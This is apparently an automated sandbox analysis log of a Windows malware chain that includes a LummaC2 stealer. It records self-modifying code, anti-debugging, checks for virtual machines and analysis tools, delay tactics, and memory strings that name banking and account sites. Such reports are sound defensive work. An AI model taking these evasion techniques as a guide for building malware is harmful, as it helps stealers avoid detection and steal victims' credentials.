Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Special instruction interceptor: First address: C469A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Special instruction interceptor: First address: 261D5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Special instruction interceptor: First address: 2607D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Special instruction interceptor: First address: 269A7F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Special instruction interceptor: First address: 2F0A5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Special instruction interceptor: First address: E4DDFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Special instruction interceptor: First address: 1000207 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Special instruction interceptor: First address: FFEA0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Special instruction interceptor: First address: E4DD0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Special instruction interceptor: First address: FADDFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Special instruction interceptor: First address: 1160207 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Special instruction interceptor: First address: 115EA0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Special instruction interceptor: First address: FADD0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 7623A6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory allocated: 1800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory allocated: 3230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory allocated: 5230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory allocated: 68C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory allocated: 78C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Memory allocated: 4AC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Memory allocated: 4C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Memory allocated: 6C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Memory allocated: 50C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Memory allocated: 5310000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Memory allocated: 7310000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AB0E06 rdtsc

0_2_04AB0E06

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 3019	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 5670	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 930	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

API coverage: 7.2 %

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1164	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1164	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2848	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2848	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6484	Thread sleep count: 265 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6484	Thread sleep time: -7950000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1892	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1892	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6200	Thread sleep count: 3019 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6200	Thread sleep time: -6041019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6396	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6396	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3868	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3868	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7108	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6200	Thread sleep count: 5670 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6200	Thread sleep time: -11345670s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 4124	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 4124	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 4112	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 4112	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 6656	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 6656	Thread sleep time: -64032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 2232	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 2232	Thread sleep time: -72036s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 6660	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 3788	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 5828	Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 5792	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 4592	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 4612	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 6208	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 5324	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 1816	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 6388	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 2132	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe TID: 3176	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe TID: 2584	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe TID: 4332	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Thread delayed: delay time: 922337203685477

Source: 98a31794c6.exe, 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareG
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 69de3a997f.exe, 00000009.00000002.3004143991.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: axplong.exe, 00000002.00000002.4522273663.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4522273663.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2410605365.000000000139F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3004531013.0000000001023000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2450311858.0000000001025000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987100458.0000000001023000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2929466250.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: axplong.exe, 00000002.00000002.4522273663.0000000000E92000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 69de3a997f.exe, 00000009.00000002.3004531013.0000000001023000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2450311858.0000000001025000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987100458.0000000001023000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#I
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: axplong.exe, axplong.exe, 00000003.00000002.2181019419.00000000006C3000.00000040.00000001.01000000.00000007.sdmp, 98a31794c6.exe, 98a31794c6.exe, 00000008.00000002.2409889814.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, 69de3a997f.exe, 00000009.00000002.2991353201.000000000023F000.00000040.00000001.01000000.0000000E.sdmp, 98a31794c6.exe, 0000000C.00000002.2590017210.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, 69de3a997f.exe, 0000000D.00000002.2942226703.000000000023F000.00000040.00000001.01000000.0000000E.sdmp, 69de3a997f.exe, 0000000D.00000001.2600476900.000000000023F000.00000080.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000E.00000002.2683438975.00000000006C3000.00000040.00000001.01000000.00000007.sdmp, 98a31794c6.exe, 0000000F.00000002.2756510049.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, 69de3a997f.exe, 00000010.00000002.3191919065.000000000023F000.00000040.00000001.01000000.0000000E.sdmp, 69de3a997f.exe, 00000010.00000001.2765390624.000000000023F000.00000080.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 69de3a997f.exe, 00000010.00000002.3200422052.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP9
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: InstallUtil.exe, 00000007.00000002.4525867802.0000000000929000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 98a31794c6.exe, 0000000C.00000002.2590839479.00000000014B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@!O
Source: 98a31794c6.exe, 0000000F.00000002.2757587305.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\=
Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2929466250.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 98a31794c6.exe, 00000008.00000002.2410605365.0000000001372000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq'E6QemUaZPZVtAoJmaEB.nUv5Ngnzw9mDbHfi0W7H
Source: file.exe, 00000000.00000002.2123921813.0000000000353000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2181019419.00000000006C3000.00000040.00000001.01000000.00000007.sdmp, 98a31794c6.exe, 00000008.00000002.2409889814.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, 69de3a997f.exe, 00000009.00000002.2991353201.000000000023F000.00000040.00000001.01000000.0000000E.sdmp, 98a31794c6.exe, 0000000C.00000002.2590017210.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, 69de3a997f.exe, 0000000D.00000002.2942226703.000000000023F000.00000040.00000001.01000000.0000000E.sdmp, 69de3a997f.exe, 0000000D.00000001.2600476900.000000000023F000.00000080.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000E.00000002.2683438975.00000000006C3000.00000040.00000001.01000000.00000007.sdmp, 98a31794c6.exe, 0000000F.00000002.2756510049.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, 69de3a997f.exe, 00000010.00000002.3191919065.000000000023F000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 69de3a997f.exe, 00000010.00000003.2869868440.0000000005224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 2_2_04EE0556 Start: 04EE05AD End: 04EE0527

2_2_04EE0556

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort
